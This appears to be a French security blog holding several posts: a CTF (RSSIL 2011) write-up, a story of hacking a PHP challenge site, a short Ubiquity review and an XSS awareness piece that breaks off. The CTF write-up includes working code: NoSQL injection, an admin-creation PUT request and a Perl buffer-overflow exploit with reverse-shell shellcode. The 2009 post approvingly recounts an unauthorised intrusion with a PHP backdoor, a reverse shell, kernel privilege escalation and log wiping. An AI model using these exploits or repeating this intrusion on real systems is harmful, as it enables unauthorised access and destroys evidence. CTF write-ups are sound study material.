Segmentation fault » Web

RSSIL 2011 Write-Ups

Emilien Girault — Mon, 30 May 2011 17:18:40 +0000

J’ai participé pour la première fois aux RSSIL, événement de sécurité et d’informatique libre qui se déroule chaque année à Maubeuge. Comme la Nuit Du Hack, l’événement se compose de conférences et de challenges. J’ai pour ma part participé au challenge de Hacking, nommé Hacknowledge, en compagnie de membres de l’équipe HZV.

Conférences

Côté conférences, je n’ai suivi que les quatre qui m’intéressaient le plus :

Comment attaquer une place de Bourse en 30 minutes et comment se protéger ?, par Robert ERRA. N’étant pas financier, j’ai pu y découvrir le jargon associé à la bourse, ainsi que les joies du trading automatique et du Flash Crash survenu le 6 mai 2010. La conférence s’avère pessimiste (mais probablement, et malheureusement réaliste), et se termine par un petit débat annexe autour du Bitcoin dont on parle beaucoup ces derniers temps.
Eloi Vanderbeken présente ensuite Génération et exploitation de traces. La problématique de la conférence est de déterminer l’origine des données manipulées par des programmes malveillants. Devant l’échec de l’analyse statique, l’auteur présente ses travaux d’instrumentation basés sur des outils comme Pin, développé par Intel. Très instructif, mais juste dommage qu’il n’y ait pas eu de démo.
Dynamic Cryptographic Backdoors, présentée par Eric Filliol. Petit état de l’art quelque peu orienté (mais non moins intéressant) qui rappelle que la sécurité d’un algorithme n’est rien sans son implémentation, et que les standards officiels sont parfois dangereux si exploités par des malwares.
Android Malwares: is it a dream?, par Anthony Desnos et Geoffroy Gueguen. Les auteurs commencent par présenter quelques malwares ciblant Android (dont DroidDream) ainsi que les exploits qu’ils utilisent pour s’octroyer les droits root. Dans une deuxième partie, ils mettent le doigt sur une des faiblesses principales de la plateforme de Google : l’incapacité à sécuriser convenablement les applications contre le reverse-engineering. Actuellement, les seuls outils existants se contentent d’obfusquer simplement les noms de classes, ce qui est de loin insuffisant. Quelques outils d’analyse sont présentés (backsmali, Dex2jar, Jd-GUI), pour terminer par Androguard, framework très prometteur.

Challenge Hacknowledge

Quant au challenge, celui-ci était plutôt inattendu. Outre les épreuves classiques du type web, reverse-engineering, réseau, crypto, et forensics, nous avions droit à toute une série d’épreuves de social engineering et même hardware (cf plus bas). J’ai laissé tout ça à mes coéquipiers, et me suis focalisé principalement sur le web et l’applicatif. Voici quelques résumés d’épreuves.

Web 1 – « Madame est servie »

Autant le dire tout de suite, aucun de nous n’a compris le titre de cette épreuve. Cependant, cela ne nous a pas empêché de la valider, mais après un certain temps. Une URL était fournie, ainsi qu’un fichier pcap. Celui-ci contenait une capture de 2 requêtes HTTP vers un web service retournant des informations en XML. La première requête, un GET sur la page /index.php/api/users, retournait la liste de tous les utilisateus enregistrés dans la base :



 
 lupin
 *********
 lupin@poudlard.net
 0
 
 
 hermione
 *********
 hermione@poudlard.net
 0
 
...

La deuxième capture montrait un POST sur /index.php/api/validate, avec les données suivantes :

token=Z2lubnk6Nzg0NTFiMjAxMDQ0ZTZlMzUxNTg1NWFjMGZlZjZhNGY=

Le résultat était alors :


User must be admin...

Aucune consigne n’était donné, mais nous en avons conclu que le but était alors de se connecter en administrateur sur le Web service.

Nous avons commencé par premarquer que le token était encodé en base64, et donnait la chose suivante une fois décodé :

ginny:78451b201044e6e3515855ac0fef6a4f

Cela ressemble étrangement à un couple login:password, ce dernier étant hashé en MD5. Peu importe sa valeur, puisque ledit utilisateur n’est pas admin. Mais au moins, on sait désormais comment dialoguer avec le web service.

Après avoir passé pas mal de temps à tenter des injections dans tous les champs POST (avec et sans XML), nous avons obtenu un indice intéressant : il s’agit d’un Web service RESTful http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services. Autrement dit, il supporte les méthodes GET et POST, mais également PUT et DELETE. Celles-ci permettent de lire, créer, modifier et supprimer des objets sur le serveur. Comme notre but est de nous connecter en administrateur, nous pouvons utiliser la méthode PUT pour créer un utilisateur administrateur, et nous y connecter ensuite avec ce nouveau compte. Voici le code Python correspondant.

import base64
import httplib

# Ajout d'un compte
conn = httplib.HTTPConnection("192.168.0.208")
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn.request( "PUT",
 "/index.php/api/users",
 "username=greg_evans&password=hzv_r0x&email=toto@kikoo.lol&admin=1",
 headers)

"""
On obtient l'affichage suivant :

User inserted successfully!
"""

# Connexion avec ce compte
conn.request( "POST",
 "/index.php/api/validate",
 "token="+base64.b64encode("greg_evans:1bc06f78a82e5c7eb6521fc50e87a258"),
 headers)
"""


 success
 
 Bien joue, vous avez resolu cette epreuve !
 
 ROBBIE_THE_RETURN

"""

On notera que la méthode PUT est normalement utilisée pour mettre à jour et non pour ajouter un objet à une collection. En tout cas notre solution fonctionne et nous a permi de récupéré le flag pour valider l’épreuve.

Web 2 – Captcha textuel

La deuxième épreuve consistait à soumettre 5 fois de suite un formulaire web comportant un CAPTCHA implémenté sous la forme d’une question à laquelle 6 réponses étaient possibles. En réactualisant la page, on se rend compte qu’il y a à peine une quinzaine de questions différentes. Aussi il est possible d’automatiser les requêtes en se constituant d’un dictionnaire de mot-clé et des réponses associées. La seule difficulté à laquelle j’ai fait face venait de l’utilisation des cookies, alors que j’utilisais le module Python urllib2, qui les gère assez mal (surtout comparé à httplib). Là encore je n’ai pas le code source de l’épreuve, mais voici pour information le code qui nous a permis de la valider :

import httplib

soluce = {
 "serpent" : "reptile",
 "chiot" : "canin",
 "toutou" : "canin",
 "pigeon": "oiseau",
 "papillons" : "insecte",
 # ...
 }

URL = "/6f503c90-8877-11e0-9d78-0800200c9a66"
cookie = ""

for i in range(5):

 headers={}

 if cookie!="":
 headers["Cookie"] = "PHPSESSID="+cookie

 conn = httplib.HTTPConnection("192.168.0.207")
 conn.request("GET", URL+"/inscription.php", None, headers)
 r = conn.getresponse()

 try:
 cookie = r.getheader("Set-Cookie").split("=")[1].split(";")[0]
 print cookie
 except:
 pass

 t = r.read()
 #print t

 reponse =""
 for m, r in soluce.items():
 if m in t:
 reponse = r

 print "===> reponse : ",reponse

 conn = httplib.HTTPConnection("192.168.0.207")
 headers = {"Content-type": "application/x-www-form-urlencoded",
 "Accept": "text/plain", "Cookie": "PHPSESSID="+cookie}
 conn.request( "POST",
 URL+"/valider.php",
 "nom=aaaaaaaaa&prenom=aaaaaa&email=toto%40gmail.com"+
 "&valider=Valider&mot="+reponse,
 headers)
 t = conn.getresponse().read()

 print t

 if "Erreur" in t:
  break

Après 5 CHAPTCHAs validés, le flag de l’épreuve s’affiche sur la page.

Web 3 – « In The Clouds »

Dans cette épreuve, on a affaire à un site complet ayant pour thème le Cloud Computing, ce qui constitue d’après le staff un bon indice concernant l’épreuve. N’étant pas très au fait sur le sujet, je commence donc par arpenter le site, et repérer des éventuels paramètres GET/POST susceptibles d’être mal filtrés. Une des pages possède le paramètre GET « cat » qui permet de sélectionner la catégorie des articles à afficher. Après moultes tentatives d’injections SQL, XSS et autres, rien ne passe. Idem en ce qui concerne le formulaire POST de login/mot de passe pour la partie utilisateur. Je jette un coup d’œil aux en-têtes, et je m’aperçois qu’il y a un cookie qui contient des données ressemblant étrangement à un objet PHP sérialisé. Un petit coup de unserialize(), et je constate qu’il s’agit d’un tableau de session PHP. Je tente alors d’injecter des données dans chacun des champs du tableau, mais en vain. Un petit coup de Dirbuster sur le site, ainsi qu’un rapide passage d’Acunetix, mais toujours rien. Damned…

Il nous a fallu un certain temps avant de nous rendre compte que la page « Mentions légales » du site comportait une information essentielle, en indiquant que le site était réalisé avec le CMS Codeignitier et le DBMS MongoDB. Un petit coup de Google sur différents exploits sortis pour Codeignitier, et on tombe sur quelques Includes() et XSS. Mais rien d’exploitable à priori. Concernant MongoDB, personne d’entre nous ne le connaissait. Il s’agit en fait d’un gestionnaire de BDD qui, selon Wikipédia, est « orienté document » , scalable (d’où le « cloud »), sans schéma, et dont les données sont au format JSON. Le point le plus intéressant est que ce DBMS utilise non pas SQL mais du NoSQL. Ce langage, utilisé par Facebook (avec sa BDD Cassandra) ou encore Google (BigTable) diffère du SQL dans la mesure où il permet de traiter des données au format différent des BDD relationnelles classiques.

Quel rapport avec la sécurité ? Sur des BDD NoSQL, les injections SQL classiques sont inefficaces. Cependant, il est possible dans certains cas d’effectuer des Injections NoSQL, qui sont plus ou moins l’équivalent. Ces dernières exploitent des particularités du langages, et particulièrement le typage des variable. Dans notre cas, nous voudrions exploiter le formulaire de login ; nous connaissons notre login (hzv) mais pas le mot de passe. Le code PHP simplifié coté serveur ressemble à :

$users->find(array(
"username" => $_GET['username'],
"passwd" => $_GET['passwd']
));

Effectuer une requête du type login=hzv&pass=1' or 1=1 ne servirait à rien dans un cadre de BDD NoSQL, aussi la syntaxe à utiliser est la suivante :

login=hzv&pass[$ne]=1

En PHP, une variable suivie par des crochets est automatiquement castée en tableau, aussi $_GET['pass'] va devenir :

Array(
  '$ne' => 1
)

Appliquée dans le cadre d’une requête, ce tableau fait office de condition sur le champ ‘passwd’, l’opérateur $ne signifiant « pas égal ». Du coup, la requête sélectionne les utilisateurs dont le login est hzv, et le mot de passe différent de 1. On se retrouve logué automatiquement sur le portail. Cas d’école, mais encore fallait-il y penser…

A partir du portail, nous souhaitons nous octroyer les droits admin. Des formulaires sont disponibles pour poster des catégories et articles, mais sont inutiles. Celui qui semble le plus logique à triturer est celui qui permet d’éditer son profil en changeant son login, mot de passe, email, etc. Mais pas de champ permettant de modifier le statut utilisateur / administrateur. Là, en me rappelant la 1ère épreuve, je tente de rajouter un &admin=1 dans les données POST envoyées, et ça marche . Notre utilisateur est désormais admin, et on obtient le flag de validation. Gros coup de chance ? Peut-être…

Web 5 – « Jeux thons »

Seule information donnée : une URL, http://192.168.0.207/token/hash/. En arrivant dessus, on se tape une erreur 401 « Authorization Required » sans plus d’explications. On a alors l’idée de remonter au dossier parent, et on tombe sur un directory listing avec un fichier error.log. Celui-ci contient les erreurs Apache générées en direct. On tente d’injecter du code PHP via l’URL de la 1ère page pour qu’il se retrouve dans le log, mais sans effets car les fichiers .log ne sont pas interprétés par Apache, et aucune faille de type Include n’est présente autre part ailleurs sur le serveur.

En inspectant de plus près le fichier error.log, on remarque qu’un message particulier est généré à chaque erreur 401, et fait référence à un certain mod_auth_token. Google to the rescue, on tombe sur la documentation du module Apache correspondant. Ce module permet de générer des liens uniques permettant d’accéder à un fichier de façon temporaire, un peu comme sur les services du style Megaupload. L’URL générée pour un fichier est du type :

uri-prefix/token/timestamp-in-hex/rel-path

En ce qui nous concerne, uri-prefix vaut /token/hash/. Il nous reste à calculer le token et le timestamp. Le timestamp est obtenu par un simple dechex(time()), et le token est généré à partir du nom du fichier, du timestamp et un secret partagé inconnu. Tentons d’accéder au fichier normalement situé à /token/hash/index.php, en générant le bon timestamp et un token foireux. On va donc sur une url du type :

/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/4de08b50/index.php

Le token est aléatoire, et le timestamp a été généré avec :

php -r "echo dechex(time());";
4de08b50

Bien entendu, vu que le token est invalide, on se tape une erreur 401. Mais on obtient une ligne intéressante dans le error.log :

May 28 05:08:36 2011] [warn] [client 192.168.0.132] mod_auth_token: failed token auth
(got '57CA88C9F83CD5B8B4807BEE940B62EC', expected '448741538E5D997F7AB9D88D0ED79CE9',
uri '/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/index.php')

On obtient carrément le token attendu ! Du coup, il suffit de le prendre en remplaçant le token bidon que nous avions mis. On rejoue la requête… et on tombe sur une erreur 404 Not Found. Visiblement, il n’y a pas de fichier index.php. On tente alors index.html, pour voir… Même technique : on envoie d’abord un token foireux, on regarde celui attendu dans le message d’erreur généré, puis on renvoie le bon. Et bingo, on obtient le flag de validation. Easy, finalement.

Appli – Ken Laden

Il s’agit de l’épreuve sur laquelle je me suis le plus acharné de la nuit. Elle n’était pas d’une grande difficulté en soi, mais les informations données au compte goutte donnaient tout son intérêt à cette épreuve.

Le but était de prendre le contrôle d’un serveur Web pour récupérer un flag situé dans le dossier juste au dessus de la racine du serveur. Seules informations données :

La machine est une Debian 6 (noyau 2.6.32-5 x86)
Pas d’ASLR

La racine du serveur Web ressemble à ceci :

Racine du serveur

Après quelques requêtes effectuées sur le serveur, une partie de la page attire mon attention :

Your protocol : HTTP/1.1

Je forge alors une requête avec un protocole bidon :

s = socket.socket()
s.connect(("192.168.0.204", 20080))
s.send("GET /"+" HTTP/" + ("a"*50) + "\r\nHost:192.168.0.204:20080\r\n\r\n")
print s.recv(4096)

Et j’obtiens :

Your protocol : HTTP/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Compte tenu des informations données, il est tentant de tenter un buffer overflow à ce niveau. Je rejoue donc cette requête en incrémentant le nombre de « a », et parviens à faire crasher la connexion avec environ 600 caractères. En diminuant à tatons, je trouve le nombre de caractères limite : 505. Ce nombre est toutefois aproximatif. L’idéal serait d’inspecter le code du serveur…

C’est là que l’on remarque que deux fichiers nommés rssild.pcat_dump et rssild.maps sont présents dans le directory listing du serveur. Le premier, dans un format a priori inconnu, contient 128 Mo de données binaires. Le deuxième contient le texte suivant :

0x8048000 0x804a000
0x804a000 0x804b000
0xb7e95000 0xb7e96000
0xb7e96000 0xb7fd6000
0xb7fd6000 0xb7fd8000
0xb7fd8000 0xb7fd9000
0xb7fd9000 0xb7fdc000
0xb7fdf000 0xb7fe2000
0xb7fe2000 0xb7fe3000
0xb7fe3000 0xb7ffe000
0xb7ffe000 0xb7fff000
0xb7fff000 0xb8000000
0xbffdd000 0xc0000000

Cela ressemble étrangement à une cartographie mémoire, la 1ère ligne correspondant aux adresses de début et de fin de la section .text du binaire mappé en mémoire. Quant au 1er fichier, quelques recherches Google sur « pcat » nous amènent sur un article fort intéressant de la team Nibbles, où il est justement question de ces 2 types fichiers. On y apprend que l’outil pcat permet de dumper la mémoire virtuelle d’un processus en cours d’exécution. Visiblement, l’auteur a été sympa en nous fournissant un tel dump. Le fichier maps permet de s’y retrouver en utilisant les bons offsets afin de dumper les sections intéresantes. Un bout de code Python est même donné, mais il n’est pas adapté dans notre cas car nous ne disposons pas du nom des sections. Qu’à cela ne tienne, nous pouvons dumper la section .text manuellement :

f = open("rssild.pcat_dump","rb")
f.seek(0x8048000)
a = f.read(8192) # 0x804a000 - 0x8048000
open("text.bin","wb").write(a)

On ouvre le binaire avec IDA, qui affiche quelques erreurs compte tenu du fait qu’il s’agisse d’un binaire incomplet – uniquement la section .text, pas de table des symboles. Dans la fenêtre Strings, mon attention se porte sur une référence à « Your protocol : », affiché sur la page Web :

Strings

On follow tout ça, et on arrive à un appel du type :

lea     eax, [esp+0EAE8h]
mov     [esp], eax
call    sub_80490BA
mov     eax, offset aBStyleColorC9d ; "...Your protocol : %s..."
lea     edx, [esp+0EAE8h]
mov     [esp+4], edx
mov     [esp], eax
call    sub_8048930

Deux appels de fonction, manipulant chacun le même paramètre ([esp+0EAE8h]). Il semble s’agir de la chaîne comportant le protocole. Regardons de plus près la 1ère fonction :

push    ebp
mov     ebp, esp
sub     esp, 218h
mov     eax, [ebp+arg_0]
mov     [esp+4], eax
lea     eax, [ebp+var_1FC]
mov     [esp], eax
call    sub_8048920
leave
retn

On alloue un buffer statique, et on appelle une fonction qui prend en paramètre ce buffer ainsi que la chaîne… Cela rappelle étrangement un strcpy() ! Cependant, on ne peut pas le vérifier immédiatement vu que les symboles ne sont pas présents, ni les sections .plt et .got. En tout cas, la tentation est grande ! Si on regarde de plus près, 0×218 octets sont alloués sur la pile, mais le buffer dans lequel est recopié la chaîne ne fait que 0x1fc octets, soit 508. Si on ajoute à cela la valeur sauvegardée d’EBP, on obtient 512 octets. C’est cette quantité qu’il faudra réécrirre si l’on souhaîte écraser la sauvegarde d’EIP, située juste après.

En supposant qu’il n’y ait pas de protection de la pile (pas de NX), l’exploitation par shellcode est faisable. On génère un payload Metasploit avec msfpayload et msfencode (pour ne pas obtenir de caractère nul, ni de \n ou \r) qui effectue une reverse connection sur notre port 4444, et on code un petit exploit (en Perl, puisque c’est le langage de prédilection de mon coéquipier Djo) :

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 1)
{
print "[-] Usage:   \n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}

$ip 	 = $ARGV[0];
$port 	 = $ARGV[1];
$paddind = "A"x408;
$eip  = "\x3b\x99\x04\x08"; #call *(%eax)

#revers tcp 192.168.0.10 4444 - 99 bytes
$SC = "\xb8\x95\x94\x45\x41\xda\xca\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x13\x31\x46\x12\x83\xc6\x04\x03\xd3\x9a\xa7\xb4\xea" .
"\x79\xd0\xd4\x5f\x3d\x4c\x71\x5d\x48\x93\x35\x07\x87\xd4" .
"\x6d\x99\x7f\x15\x39\x25\x8a\xf3\x52\x34\xd6\x9d\xf1\x5c" .
"\xf6\x30\xa6\x29\x17\xf1\x2c\x4f\x80\x3b\x30\xd6\xb7\x1d" .
"\x81\xd7\x7a\x1d\xab\x5e\x7c\x4e\x44\x8f\x51\x1c\xfc\xa7" .
"\x82\x80\x95\x59\x54\xa7\x36\xf6\xef\xc9\x07\xf3\x22\x89" .
"\x62" . $paddind . $eip;

$evil 	= "GET / HTTP/$SC\r\nHOST:$ip:$port\r\n\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$ip",
PeerPort => "$port") || die "[-] Connecting: Failed!\n";

print "Please Wait...\n";

$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$ip",
PeerPort => "$port");
$socket->send($evil);
$socket->recv($answer,2048);
print $answer;
print "\n";
close($socket);

Ajoutons à cela un petit netcat ouvert en local sur le port 4444, et bingo ! On obtient un shell distant, qui nous permet d’afficher le flag de l’épreuve. 700 points de validés d’ou coup !

Notons qu’au moment voulu, nous avons beaucoup plus galéré que ça, principalement à cause de la fatigue… L’auteur de l’épreuve, ipv, a été assez sympa pour leaker le binaire du serveur, ce qui nous a pas mal aidé. Mais finalement et avec un minimum de recul, il n’y en avait nullement besoin pour résoudre l’épreuve.

Le reste

Le challenge était également composé de plein d’autres épreuves de types variés, de mémoire :

Wifi : une épreuve de cassage de clés WEP et WPA- classique, sauf que quand on ne dispose pas de chipset ni de clé adéquate, on fail. Sinon, il y avait aussi une épreuve visant à exploiter une faille sur une Livebox à partir d’un accès utilisateur limité sur le portail Web.
Social Engineering : toute une série d’épreuves non techniques assez sympa, comme par exmple se faire passer pour une personne en reconstituant son CV à partir d’informations glanées sur le net, téléphoner à un numéro et trouver un prétexte pour demander un mot de passe, et même récupérer un maximum de mots de passe appartenant aux étudiants d’IUT qui partiaipaient à un autre challenge à côté de nous
Hardware : Une épreuve visant à reprogrammer une carte à puce pour trouver un code PIN, un challenge USB où il fallait programmer un Teensy pour bruteforcer un mot de passe en disposant uniquement d’un port USB pendant 2 min chrono… Heureusement que notre spécialiste hardware était là !
Forensics / Reverse Engineering : déchiffrer un fichier sachant que le binaire ayant permis à le chiffrer était fourni, et 3 crack-mes ELF 64 bits, PE packé avec ASProtect, et MIPS.
Réseau / VoIP : Du port-knocking, et des communications VoIP à intercepter entre plusieurs machines. Malheureusement, nous n’avons réussi aucune de ces épreuves…

Bref, pas de quoi s’ennuyer lors de cette longue nuit.

Retrouvez les solutions ainsi que les sources de certains de ces challenges sur Shell-storm.org.

Remise des prix

Au final, notre équipe remporte le challenge avec 6550 points, devant Error 404 (4025) et On_Va_p0wn_HzV (3900). Chacun des membres de notre équipe repart contre toute attente avec un ordinateur portable Compaq.

Scores intermédiaires

Scores définitifs

Nous tenons à féliciter toutes les équipes pour leur courage et leur acharnement. Un grand merci à toute l’équipe d’ACISSI pour sa générosité envers les gagnants, ainsi que pour avoir organisé un événement dont les nombreux challenges ne manquaient ni d’originalité, ni de qualité.

A bientôt pour un mois de juin chargé avec le SSTIC (8, 9 et 10), Hack In Paris (14-17), et la Nuit Du Hack (18-19)

Exploitation de faille include avec les sessions PHP

Emilien Girault — Wed, 16 Sep 2009 19:05:43 +0000

Il y a quelques jours, je suis tombé sur un challenge de hack PHP. J’arrive sur une page avec une URL du type www.site.com/index.php?page=main.php, qui ressemble étrangement à la célèbre faille include. En effet, quelques tests le démontrent. Autre part sur le site, on trouve une page protégée par un .htaccess. Pour le bypasser, on utilise naturellement cette faille include (ou bien cette autre méthode). Mais ce n’est pas tout. Outre le fait qu’on ne puisse pas inclure de page distante (directive allow_url_include activée), l’administrateur n’a pas du tout protégé cette faille include. On peut donc inclure tous les fichiers locaux accessibles…

Il était une fois une include non protégée…

Je me lance donc dans l’exploration de l’arborescence en récupérant quelques fichiers intéressants. Commepar exemple /proc/version, qui indique que le serveur tourne sous une Ubuntu basée sur un kernel 2.6.25. Je regarde également une partie de la configuration Apache dans /etc/apache2/apache2.conf, la liste des utilisateurs dans /etc/passwd. /etc/shadow est bien évidemment non accessible car Apache n’est pas lancé par le root. Mais sachant qu’un exploit touchant les Linux non patchés a récemment été publié, je me dis qu’il doit certainement être possible de rooter le serveur à partir de là. Si j’arrive à exécuter des commandes sur le serveur avec les droits d’Apache, devenir root ne devrait pas être dur en utilisant cet exploit…

Je cherche donc un moyen d’utiliser la faille include pour pouvoir exécuter du code. Je pense en particulier à l’injection de commandes dans les logs Apache. Seul problème : ils ne sont lisibles que par le root, donc pas par Apache (il suffit de tester pour s’en rendre compte rapidement). Où vais-je donc pouvoir injecter mes commandes… ? Quels sont les fichiers manipulés par Apache et PHP dans lesquels on peut écrire indirectement et lire ensuite ? Sur le coup, je sèche…

…un site utilisant les sessions…

Là, Heurs et Virtualabs me donnent la réponse : les sessions PHP. En effet, PHP stocke les variables de session dans des fichiers (elles sont sérialisées) qui se situent dans /var/lib/php5/. Leur nom suit le format sess_$PHPSESSID où $PHPSESSID est l’identifiant de session qui est envoyé dans le cookie, donc facilement récupérable. Et, coup de chance, il se trouve que le challenge en question utilise les sessions pour stocker l’utilisateur courant et son mot de passe. Champs qui ne sont sont bien pas vérifiés lors de la soumission du formulaire

C’est parti ! Je crée un compte bidon avec quelque chose comme pour le login. Je soumet, récupère le cookie contenant l’identifiant de session, et inclus le fichier de session correspondant. Et là, j’obtiens une jolie backdoor PHP sur le serveur. Rudimentaire, certes, mais fonctionnelle ! A partir de là, j’en conçois une légèrement plus élaborée, que je place sur un de mes serveurs, et que je fais télécharger au serveur victime avec un wget (suivi d’un mv). Je peux maintenant exécuter des commandes PHP à volonté, lire des fichiers sources, etc. Je récupère une autre backdoor permettant d’obtenir un remote shell sur ma machine. J’ouvre un port avec Netcat sur ma machine, j’upload et lance la backdoor, et le tour est joué.

… et un kernel non patché.

Je peux maintenant exécuter des commandes de façon interactive, mais toujours avec les droits d’Apache. Je télécharge un des exploits sock_sendpage de Milw0rm, le compile sur le serveur (gcc y était installé, cool), je lance l’exécutable généré, et bing ! Root sur le serveur . Comme mon but n’est pas de planter le serveur, je m’arrête ici. Enfin je prends quand même soin de supprimer toute trace de l’intrusion dans les logs. Et je garde un petit screenshot, pour envoyer au propriétaire du site, l’histoire de le prévenir. Bien entendu, pour envoyer le mail j’ai pris soin de créer un mail anonyme et de passer par un proxy, au cas où le propriétaire serait furax et menacerait de porter plainte… Heureusement, celui-ci est sympa ; il me répond rapidement et me remercie de l’avoir prévenu. Et vous savez le comble de l’histoire ? Ce serveur ne lui appartenait pas, il ne disposait pas lui-même des droits root

Conclusion

Je crois que cette histoire (vraie, pour ceux qui douteraient) illustre plutôt bien et de façon concrète la marche à suivre employée par un attaquant afin de prendre la main sur un serveur : exploitation d’une faille distante pour récupérer des informations, exécution de commandes dans le contexte du processus vulnérable, élévation de privilèges en utilisant un local root, et nettoyage des logs. De plus, cet exemple démontre que ce n’est pas parce que l’on a interdit l’inclusion de fichiers distant que l’on a un appel à include() sécurisé.

J’insiste enfin sur le fait que ce que j’ai réalisé ici était à la portée d’un script kiddie pour peu qu’il connaisse la faille, sache utiliser une backdoor PHP et compiler un exploit. Administrateurs de challenges de hack PHP, méfiez-vous : reproduire des applications vulnérables c’est bien, mais pensez à vous protéger un minimum pour éviter le pire…

Ubiquity

Emilien Girault — Thu, 28 Aug 2008 22:34:57 +0000

Nous sommes en 2008, et incapables d’insérer simplement un plan (par exemple Google Maps) dans un mail. Actuellement, tout ce que l’on peut faire, c’est créer une carte sur un service spécialisé, la publier, créer un nouveau mail sur son client mail favori, et insérer un lien vers la carte dans celui-ci. Ce n’est intuitif ni pour le créateur du mail ni pour celui qui devra le lire, car il faut faire une dizaine de clics avant d’avoir l’information voulue… C’est ce constat triste mais véridique qui a servi de problématique de départ pour le lancement du projet Ubiquity de Mozilla.

L’idée de base du projet est de fournir à tout utilisateur le pouvoir de mélanger des applications Web, d’insérer du contenu riche provenant d’un service A dans un autre service B. Ainsi, il devrait permettre à tout un chacun, et pas seulement les programmeurs, d’insérer des cartes dans des champs de formulaire (donc potentiellement des webmails comme Gmail), des vidéos, des commentaires provenant d’autres sites… Les possibilités sont illimitées.

Concrètement, Ubiquity se présente comme une extension Firefox. Par simple pression d’une combinaison de touche (que l’utilisateur peut choisir), on entre dans un mode de commande. Il suffit alors de taper la commande choisie, à la manière d’un shell, mais en beaucoup plus simple. Autocomplétion et documentation sont intégrées.

Voyez plutôt la vidéo de démonstration (en Anglais) :

Ubiquity est évolutif, c’est à dire que l’utilisateur peut lui ajouter des fonctionnalités non prévues initialtment, un peu à la manière des extensions — Ubiquity est donc une sorte de méta-extension.

Comme le dit l’auteur de la vidéo, il s’agit pour le moment d’un prototype. Je l’ai testé, et je dois dire que je suis déjà surpris, même s’il est sûr qu’il reste encore des choses à implémenter et à améliorer. En tout cas, je trouve le principe vraiment excellent, car je suis sur que l’extension (une fois terminée) peut procurer un gain appréciable en temps et en ergonomie.

La XSS, cette faille méconnue

Emilien Girault — Sun, 03 Aug 2008 17:33:31 +0000

En matière de sécurité des sites Web, la XSS est sans doute la faille incontournable, tant au niveau de sa popularité auprès des hackers débutants que du nombre impressionnant de sites vulnérables. Pour s’en rendre compte, il n’y a qu’à comparer le nombre de sites vulnérables aux XSS et ceux touchés par les injections SQL — qui, rien qu’eux, sont déjà nombreux. Cependant, contrairement aux injections SQL, les failles de type XSS ne sont pas exploitables au niveau du serveur lui-même, mais nécessitent la présence d’un client. C’est justement cette différence fondamentale qui, à mon avis, entraîne les gens à penser que la XSS est moins dangereuse que l’injection SQL. Beaucoup (trop) de développeurs pensent que la XSS ne permet que de voler les cookies des visiteurs, et imaginent que pour sécuriser leur site il suffit de faire des vérifications sur leurs IP. Comme nous allons le voir, ces deux idées reçues sont complètement fausses.

J’ai justement décidé de rédiger ce billet afin de sensibiliser les lecteurs aux véritables dangers qui se trouvent dans la face cachée de cet iceberg qu’est la faille XSS. Comme mon but n’est pas d’aider les script-kiddies à exploiter cette faille, je ne donnerai pas de code ni d’exploit tout fait. Je suppose que les lecteurs ayant quelques connaissances en JavaScript pourront tester eux-mêmes et vérifier la véracité de mes propos…

Les « vraies » possibilités de la XSS

Pour comprendre les enjeux qui se cachent derrière la faille XSS, revenons à la base : qu’est-ce qu’une XSS ? Les initiales XSS signifient Cross Site Scripting, le C ayant été remplacé par le X du fait que CSS signifie déjà Cascade Style Sheets. La faille XSS permet à un attaquant potentiel d’exécuter du code (un script) sur le navigateur du client. Elle apparaît quand un site Web affiche des variables provenant d’une entrée utilisateur sans les filtrer. Ainsi, le simple code PHP suivant est vulnérable :

En effet, un attaquant visitant cette page contrôle directement (par le biais de l’URL) le contenu de la variable $_GET['var']. Il peut alors insérer du code HTML ou JavaScript, et il s’exécutera comme s’il faisait partie du site Web.

Quel intérêt ? Tout simplement le fait de pouvoir manipuler un visiteur en lui donnant un lien piégé. En cliquant sur un lien exploitant la faille XSS, le navigateur du visiteur va afficher le code HTML du site et exécuter le code JavaScript. Cela permet alors de récupérer des informations propres au visiteur, puisque tout le code est exécuté comme s’il provenait du site original. En effet, il faut savoir que si un site X envoie par exemple un cookie à un visiteur, le site Y ne pourra pas le lire. Le fait que la XSS permette d’injecter un script malveillant directement dans le code envoyé par X va donc autoriser ce script à récupérer des informations telles que des cookies.

Mais la récupération de cookie est loin d’être la seule possibilité des XSS. A vrai dire, la XSS offre absolument toutes les possibilités qu’offre JavaScript, puisqu’elle permet l’exécution de code JS arbitraire sur le navigateur. Citons quelques exemples :

Vol de cookies, détournement de session
Accès aux mêmes privilèges que la victime
Accès au contenu de pages protégées (du moment que la victime peut y accéder)
Exécution de requêtes arbitraires en se faisant passer pour la victime
Espionnage de la victime, récupération de toutes les actions effectuées telles que les pages visitées, les saisies dans les formulaires — qui contiennent au passage probablement des mots de passe
Ouverture de fenêtres de téléchargement de logiciels (pouvant être des spywares, trojans, rootkits…) lorsque la victime surfe sur ce site auquel elle fait confiance — et par conséquent, baisse sa garde

Il faut bien comprendre que la faille XSS permet à l’attaquant d’avoir un accès direct au navigateur de la victime, et qu’il peut alors absolument tout faire sur le site en se faisant passer pour la victime. Si la victime est par exemple un utilisateur lambda d’un forum, l’attaquant pourra poster des messages sous son nom, modifier son profil, et même dans certains cas changer son mot de passe. Si la victime est l’administrateur du forum, je vous laisse imaginer les possibilités offertes…

Attention, il faut cependant bien voir que la XSS ne permet pas l’élévation de privilèges au delà de ceux de la victime, autrement dit un attaquant ne pourra pas faire plus que ne le peut sa victime. Par exemple, s’il piège un utilisateur lambda du forum, il ne pourra pas effectuer des tâches d’administration — à moins bien sûr qu’une autre faille soit présente sur le site.

Est-ce difficile à exploiter ?

